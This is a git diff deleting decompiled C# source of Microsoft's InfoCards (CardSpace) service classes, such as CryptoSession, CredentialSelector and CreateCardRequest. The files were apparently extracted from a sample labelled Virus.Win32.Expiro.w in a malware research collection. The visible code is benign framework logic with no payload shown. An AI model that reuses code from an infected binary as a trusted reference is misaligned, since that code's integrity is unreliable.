(this.m_uiAgent.ShowUI(this.UIAgentMode)) - { - case ClientUIRequest.RequestResult.Ok: - break; - case ClientUIRequest.RequestResult.Cancel: - case ClientUIRequest.RequestResult.Error: - throw InfoCardTrace.ThrowHelperError((Exception) new UserCancelledException()); - case ClientUIRequest.RequestResult.Untrusted: - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException()); - case ClientUIRequest.RequestResult.UIFailedInitialization: - throw InfoCardTrace.ThrowHelperError((Exception) new UIAgentInitializationException()); - case ClientUIRequest.RequestResult.UICrashed: - throw InfoCardTrace.ThrowHelperError((Exception) new UIAgentCrashedException()); - default: - InfoCardTrace.Assert(false, "We should never get Pending or invalid state here"); - break; - } - } - - public void StartAccessibilityApplications(uint userATApplicationFlags) - { - if (this.m_uiAgent == null) - return; - string trustedUserSid = this.m_uiAgent.TrustedUserSid; - this.m_atManager.RestartOnInfoCardDesktop(userATApplicationFlags, this.m_uiAgent.TrustedUserToken, ref trustedUserSid, "WinSta0\\" + this.m_uiAgent.DesktopName, this.m_uiAgent.TsSessionId, this.CallerPid, this.RequestorIdentity); - } - - public bool RestartAccessibilityApplications() - { - this.m_atManager.Stop(); - return this.m_atManager.RestartOnUsersDesktop(this.CallerPid, "WinSta0\\Default", this.RequestorIdentity); - } - - public void StopAccessibilityApplications() => this.m_atManager.Stop(); - - public void UserCancel(bool untrusted) - { - lock (this.SyncRoot) - { - this.CancelServiceAsyncOperation(untrusted); - this.OnUserCancel(); - } - } - - protected virtual void OnUserCancel() - { - } - - private void ReleaseUIAgent() - { - lock (this.SyncRoot) - { - this.CheckIfAllAsyncOpsCompleted(); - this.StopAccessibilityApplications(); - if (this.m_uiAgent == null) - return; - this.m_uiAgent.ReleaseUI(); - this.m_uiAgent.ClearRequest(this); - this.m_uiAgent = (InfoCardUIAgent) null; - } - } - - protected override void OnDisposeAsUser() - { - base.OnDisposeAsUser(); - if (this.m_rootStoreReference == null) - return; - this.m_rootStoreReference.Close(); - this.m_rootStoreReference = (StoreConnection) null; - } - - protected override void OnDisposeAsSystem() - { - if (this.m_uiAgentDone != null) - { - this.m_uiAgentDone.Close(); - this.m_uiAgentDone = (ManualResetEvent) null; - } - ClientUIRequest.RemoveAndDisposeContextMapping(this.RpcHandle); - this.ReleaseUIAgent(); - base.OnDisposeAsSystem(); - } - - private class ProcessHandleDictionary : HandleDictionary - { - } - - public enum RequestResult - { - Pending, - Ok, - Cancel, - Untrusted, - Error, - UIFailedInitialization, - UICrashed, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CloseCryptoHandleRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CloseCryptoHandleRequest.cs deleted file mode 100644 index 7a503ebc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CloseCryptoHandleRequest.cs +++ /dev/null @@ -1,41 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CloseCryptoHandleRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class CloseCryptoHandleRequest : ClientRequest - { - private int m_cryptoSession; - - public CloseCryptoHandleRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - } - - protected override void OnMarshalInArgs() - { - this.m_cryptoSession = new InfoCardBinaryReader(this.InArgs).ReadInt32(); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == this.m_cryptoSession, "cryptoSession"); - } - - protected override void OnMarshalOutArgs() - { - } - - protected override void OnProcess() => CryptoSession.Find(this.m_cryptoSession, this.CallerPid, this.RequestorIdentity.User).Dispose(); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CommunicationException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CommunicationException.cs deleted file mode 100644 index 2ce5479a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CommunicationException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CommunicationException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CommunicationException : InfoCardBaseException - { - private const int HRESULT = -1073413888; - - public CommunicationException() - : base(-1073413888) - { - } - - public CommunicationException(string message) - : base(-1073413888, message) - { - } - - public CommunicationException(string message, Exception inner) - : base(-1073413888, message, inner) - { - } - - protected CommunicationException(SerializationInfo si, StreamingContext sc) - : base(-1073413888, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Constants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Constants.cs deleted file mode 100644 index c4531e1e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Constants.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Constants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal static class Constants - { - internal static class Maxima - { - public const int IssuerKey = 16384; - public const int LogoLength = 1048576; - public const int SaltLength = 1024; - public const int PinHashLength = 1024; - public const int TokenTypes = 32; - public const int CreationParameters = 128; - public const int FileNameLength = 259; - public const int SupportedClaimsLength = 128; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CorruptStoreException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CorruptStoreException.cs deleted file mode 100644 index 9f762c4d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CorruptStoreException.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CorruptStoreException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CorruptStoreException : Exception - { - public CorruptStoreException() - { - } - - public CorruptStoreException(string message) - { - } - - public CorruptStoreException(string message, Exception inner) - { - } - - protected CorruptStoreException(SerializationInfo si, StreamingContext sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CreateCardRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CreateCardRequest.cs deleted file mode 100644 index 3be5c95a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CreateCardRequest.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CreateCardRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Globalization; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class CreateCardRequest : UIAgentRequest - { - private InfoCardPolicy m_policy; - private InfoCard m_card; - - public CreateCardRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - this.m_policy = this.GetPolicy(); - this.m_card = InfoCard.NewCard(new CultureInfo(this.ParentRequest.UserLanguage)); - } - - protected override void OnMarshalOutArgs() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_card.AgentSerialize(this.OutArgs, this.ParentRequest is GetTokenRequest, this.m_policy, connection, new CultureInfo(this.ParentRequest.UserLanguage)); - } - finally - { - connection.Close(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CredentialSelector.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CredentialSelector.cs deleted file mode 100644 index 7e08b9a8..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CredentialSelector.cs +++ /dev/null @@ -1,252 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CredentialSelector -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; -using System.Xml; -using System.Xml.Serialization; - -namespace Microsoft.InfoCards -{ - internal class CredentialSelector : IXmlSerializable - { - private CredentialSelectorType m_type; - private byte[] m_data; - - public CredentialSelector() => this.m_type = CredentialSelectorType.InvalidSelector; - - public CredentialSelectorType Type - { - get => this.m_type; - set => this.m_type = value; - } - - public bool IsComplete() => CredentialSelectorType.InvalidSelector != this.m_type && this.m_data != null && this.m_data.Length > 0; - - public string GetStringWithoutNullTerminator() - { - if (this.m_data == null) - return (string) null; - string str = Encoding.Unicode.GetString(this.m_data); - return str.Substring(0, str.Length - 1); - } - - public byte[] GetBytes() - { - if (this.m_data == null) - return (byte[]) null; - byte[] destinationArray = new byte[this.m_data.Length]; - Array.Copy((Array) this.m_data, 0, (Array) destinationArray, 0, this.m_data.Length); - return destinationArray; - } - - public void SetValue(string data) => this.m_data = Encoding.Unicode.GetBytes(data + "\0"); - - public void SetValue(byte[] data, int index, int length) - { - byte[] destinationArray = new byte[length]; - Array.Copy((Array) data, index, (Array) destinationArray, 0, length); - this.m_data = destinationArray; - } - - public void Serialize(BinaryWriter writer) - { - writer.Write((int) this.m_type); - Utility.SerializeBytes(writer, this.m_data); - } - - public void Deserialize(BinaryReader reader) - { - this.m_type = (CredentialSelectorType) reader.ReadInt32(); - this.m_data = reader.ReadBytes(reader.ReadInt32()); - } - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - switch (this.m_type) - { - case CredentialSelectorType.X509CertificateIssuerNameSelector: - this.WriteX509CertificateIssuerNameSelector(writer); - break; - case CredentialSelectorType.X509CertificateIssuerSerialNoSelector: - this.WriteX509CertificateIssuerSerialNoSelector(writer); - break; - case CredentialSelectorType.X509CertificateKeyHashSelector: - this.WriteX509CertificateKeyHashSelector(writer); - break; - case CredentialSelectorType.UserNameSelector: - this.WriteUserNameSelector(writer); - break; - case CredentialSelectorType.SelfIssuedCardIdSelector: - this.WriteSelfIssuedCardIdSelector(writer); - break; - case CredentialSelectorType.UserPrincipalNameSelector: - this.WriteUserPrincipalNameSelector(writer); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - } - } - - public void ReadXml(XmlReader reader) - { - switch (reader.LocalName) - { - case "Username": - this.ReadUserNameSelector(reader); - break; - case "X509IssuerName": - this.ReadX509IssuerNameSelector(reader); - break; - case "X509SerialNumber": - this.ReadX509IssuerSerialNumberSelector(reader); - break; - case "KeyIdentifier": - this.ReadX509KeyIdentifierSelector(reader); - break; - case "PrivatePersonalIdentifier": - this.ReadSelfIssuedSelector(reader); - break; - case "UserPrincipalName": - this.ReadUserPrincipalNameSelector(reader); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - } - } - - private void WriteUserNameSelector(XmlWriter writer) - { - writer.WriteStartElement("Username", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.GetStringWithoutNullTerminator()); - writer.WriteEndElement(); - } - - private void WriteUserPrincipalNameSelector(XmlWriter writer) - { - writer.WriteStartElement("UserPrincipalName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.GetStringWithoutNullTerminator()); - writer.WriteEndElement(); - } - - private void WriteX509CertificateIssuerNameSelector(XmlWriter writer) - { - writer.WriteStartElement("X509IssuerName", "http://www.w3.org/2000/09/xmldsig#"); - string withoutNullTerminator = this.GetStringWithoutNullTerminator(); - if (!string.IsNullOrEmpty(withoutNullTerminator)) - writer.WriteString(withoutNullTerminator); - writer.WriteEndElement(); - } - - private void WriteX509CertificateIssuerSerialNoSelector(XmlWriter writer) - { - writer.WriteStartElement("X509SerialNumber", "http://www.w3.org/2000/09/xmldsig#"); - BigInt bigInt = new BigInt(this.GetBytes()); - writer.WriteString(bigInt.ToDecimal()); - writer.WriteEndElement(); - } - - private void WriteX509CertificateKeyHashSelector(XmlWriter writer) - { - writer.WriteStartElement("KeyIdentifier", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - writer.WriteAttributeString("ValueType", (string) null, "http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1"); - writer.WriteString(Convert.ToBase64String(this.GetBytes(), Base64FormattingOptions.None)); - writer.WriteEndElement(); - } - - private void WriteSelfIssuedCardIdSelector(XmlWriter writer) - { - writer.WriteStartElement("PrivatePersonalIdentifier", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - string withoutNullTerminator = this.GetStringWithoutNullTerminator(); - if (!string.IsNullOrEmpty(withoutNullTerminator)) - writer.WriteString(withoutNullTerminator); - writer.WriteEndElement(); - } - - private void ReadUserNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("Username" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.UserNameSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - - private void ReadUserPrincipalNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("UserPrincipalName" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.UserPrincipalNameSelector; - } - - private void ReadX509IssuerNameSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("X509IssuerName" != reader.LocalName || "http://www.w3.org/2000/09/xmldsig#" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateIssuerNameSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - - private void ReadX509IssuerSerialNumberSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("X509SerialNumber" != reader.LocalName || "http://www.w3.org/2000/09/xmldsig#" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateIssuerSerialNoSelector; - BigInt bigInt = new BigInt(); - string decNum = reader.ReadElementContentAsString().Trim(); - try - { - if (string.IsNullOrEmpty(decNum)) - return; - bigInt.FromDecimal(decNum); - byte[] byteArray = bigInt.ToByteArray(); - this.SetValue(byteArray, 0, byteArray.Length); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidSerialNumber"))); - } - } - - private void ReadX509KeyIdentifierSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("KeyIdentifier" != reader.LocalName || "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.X509CertificateKeyHashSelector; - string attribute = reader.GetAttribute("ValueType"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("ValueType", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"); - if ("http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1" != attribute && "http://docs.oasis-open.org/wss/2004/xx/oasis-2004xx-wss-soap-message-security-1.1#ThumbprintSHA1" != attribute) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceUnsupportedKeyIdentifierType"))); - try - { - MemoryStream memoryStream = Utility.ReadByteStreamFromBase64(reader); - int int32 = Convert.ToInt32(memoryStream.Length); - if (int32 <= 0) - return; - this.SetValue(memoryStream.GetBuffer(), 0, int32); - } - catch (FormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidThumbPrintValue"))); - } - } - - private void ReadSelfIssuedSelector(XmlReader reader) - { - InfoCardTrace.ThrowInvalidArgumentConditional("PrivatePersonalIdentifier" != reader.LocalName || "http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI, reader.LocalName); - this.Type = CredentialSelectorType.SelfIssuedCardIdSelector; - string data = reader.ReadElementContentAsString().Trim(); - if (string.IsNullOrEmpty(data)) - return; - this.SetValue(data); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CredentialSelectorType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CredentialSelectorType.cs deleted file mode 100644 index 5a363c93..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CredentialSelectorType.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CredentialSelectorType -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -namespace Microsoft.InfoCards -{ - internal enum CredentialSelectorType - { - InvalidSelector = -1, // 0xFFFFFFFF - X509CertificateIssuerNameSelector = 0, - X509CertificateIssuerSerialNoSelector = 1, - X509CertificateKeyHashSelector = 2, - X509CertificateKeyIdSelector = 3, - UserNameSelector = 4, - SpnSelector = 5, - SelfIssuedCardIdSelector = 6, - RsaKeyValueSelector = 7, - UserPrincipalNameSelector = 8, - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CryptoSession.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CryptoSession.cs deleted file mode 100644 index be7e8479..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CryptoSession.cs +++ /dev/null @@ -1,232 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CryptoSession -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Cryptography; -using System.Security.Principal; -using System.Threading; - -namespace Microsoft.InfoCards -{ - internal abstract class CryptoSession - { - private const int m_MaxSessionCount = 1073741823; - public static readonly TimeSpan MaxSessionLifetime = new TimeSpan(1, 0, 0); - private static CryptoSession.CryptoSessionDictionary s_sessionCollection = new CryptoSession.CryptoSessionDictionary(); - private static object s_syncRoot = new object(); - private Process m_process; - private int m_sessionid; - private EventHandler m_processExitHandler; - private EventHandler m_serviceStoppingHandler; - private Timer m_timer; - private bool m_isDisposed; - private object m_syncRoot; - private WindowsIdentity m_identity; - private DateTime m_expiration; - private CryptoSession.SessionType m_type; - - protected CryptoSession( - Process process, - DateTime expiration, - WindowsIdentity identity, - object key, - CryptoSession.SessionType type) - { - InfoCardTrace.Assert(null != key, "null key passed in to CryptoSession ctor"); - try - { - this.m_process = ProcessMonitor.GetProcessById(process.Id); - } - catch (ArgumentException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ProcessExitedException(SR.GetString("ServiceClientProcessExited", (object) process.Id), (Exception) ex)); - } - this.m_syncRoot = new object(); - this.m_identity = identity; - this.m_expiration = expiration; - this.m_type = type; - lock (CryptoSession.s_syncRoot) - { - int newHandle; - try - { - newHandle = CryptoSession.s_sessionCollection.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("ServiceTooManyCryptoSessions", (object) CryptoSession.s_sessionCollection.MaxSize), (Exception) ex)); - } - bool flag = false; - try - { - this.m_processExitHandler = new EventHandler(this.OnProcessExit); - this.m_process.Exited += this.m_processExitHandler; - if (process.HasExited || this.m_process.HasExited) - throw InfoCardTrace.ThrowHelperError((Exception) new ProcessExitedException(SR.GetString("ServiceProcessHasExited"))); - TimeSpan dueTime = expiration - DateTime.UtcNow; - if (dueTime > CryptoSession.MaxSessionLifetime) - dueTime = CryptoSession.MaxSessionLifetime; - this.m_timer = new Timer(InfoCardTrace.ThunkCallback(new TimerCallback(this.OnTimeout)), (object) null, dueTime, new TimeSpan(0, 0, 0, 0, -1)); - this.m_serviceStoppingHandler = new EventHandler(this.OnServiceStopping); - InfoCardService.Stopping += this.m_serviceStoppingHandler; - CryptoSession.s_sessionCollection[newHandle] = this; - this.m_sessionid = newHandle; - flag = true; - } - finally - { - if (!flag) - CryptoSession.s_sessionCollection.Remove(newHandle); - } - } - } - - protected uint ProcessId => (uint) this.m_process.Id; - - protected Process ProcessObj => this.m_process; - - protected WindowsIdentity Identity => this.m_identity; - - protected SecurityIdentifier ClientSid => this.m_identity.User; - - protected DateTime Expiration => this.m_expiration; - - public void Write(BinaryWriter bwriter) - { - bwriter.Write((int) this.m_type); - bwriter.Write(this.m_sessionid); - bwriter.Write(this.m_expiration.ToFileTime()); - this.OnWrite(bwriter); - } - - private void OnTimeout(object state) => this.Dispose(); - - private void OnProcessExit(object sender, EventArgs e) => this.DisposeAsClient(); - - private void OnServiceStopping(object sender, EventArgs e) => this.DisposeAsClient(); - - private void DisposeAsClient() - { - try - { - WindowsImpersonationContext impersonationContext = this.m_identity.Impersonate(); - try - { - this.Dispose(); - } - finally - { - impersonationContext.Undo(); - } - } - catch (Exception ex) - { - throw; - } - } - - protected void ThrowIfDisposed() - { - if (this.m_isDisposed) - throw InfoCardTrace.ThrowHelperError((Exception) new ObjectDisposedException("CryptoSession " + (object) this.m_sessionid)); - } - - protected virtual void OnDispose() - { - } - - protected virtual void OnWrite(BinaryWriter bwriter) - { - } - - public void Dispose() - { - bool flag = false; - lock (this.m_syncRoot) - { - if (!this.m_isDisposed) - { - this.m_isDisposed = true; - flag = true; - if (this.m_serviceStoppingHandler != null) - { - InfoCardService.Stopping -= this.m_serviceStoppingHandler; - this.m_serviceStoppingHandler = (EventHandler) null; - } - if (this.m_process != null) - { - if (this.m_processExitHandler != null) - { - this.m_process.Exited -= this.m_processExitHandler; - this.m_processExitHandler = (EventHandler) null; - } - this.m_process = (Process) null; - } - if (this.m_timer != null) - { - this.m_timer.Dispose(); - this.m_timer = (Timer) null; - } - this.OnDispose(); - } - } - if (!flag) - return; - lock (CryptoSession.s_syncRoot) - CryptoSession.s_sessionCollection.Remove(this.m_sessionid); - } - - public static CryptoSession Create( - Process process, - DateTime expiration, - WindowsIdentity identity, - RSACryptoServiceProvider key) - { - return (CryptoSession) new AsymmetricCryptoSession(process, expiration, identity, key); - } - - public static CryptoSession Create( - Process process, - DateTime expiration, - WindowsIdentity identity, - byte[] key) - { - return (CryptoSession) new SymmetricCryptoSession(process, expiration, identity, key); - } - - public static CryptoSession Find( - int sessionId, - uint processId, - SecurityIdentifier clientSid) - { - CryptoSession cryptoSession; - lock (CryptoSession.s_syncRoot) - { - cryptoSession = CryptoSession.s_sessionCollection.ContainsHandle(sessionId) ? CryptoSession.s_sessionCollection[sessionId] : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - if ((int) cryptoSession.ProcessId != (int) processId) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - if (cryptoSession.ClientSid != clientSid) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceUnknownCryptoSessionId"))); - } - return cryptoSession; - } - - private class CryptoSessionDictionary : HandleDictionary - { - } - - protected enum SessionType - { - Asymmetric = 1, - Symmetric = 2, - Transfrom = 3, - Hash = 4, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CustomTokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CustomTokenProvider.cs deleted file mode 100644 index a55eee9c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/CustomTokenProvider.cs +++ /dev/null @@ -1,94 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.CustomTokenProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: 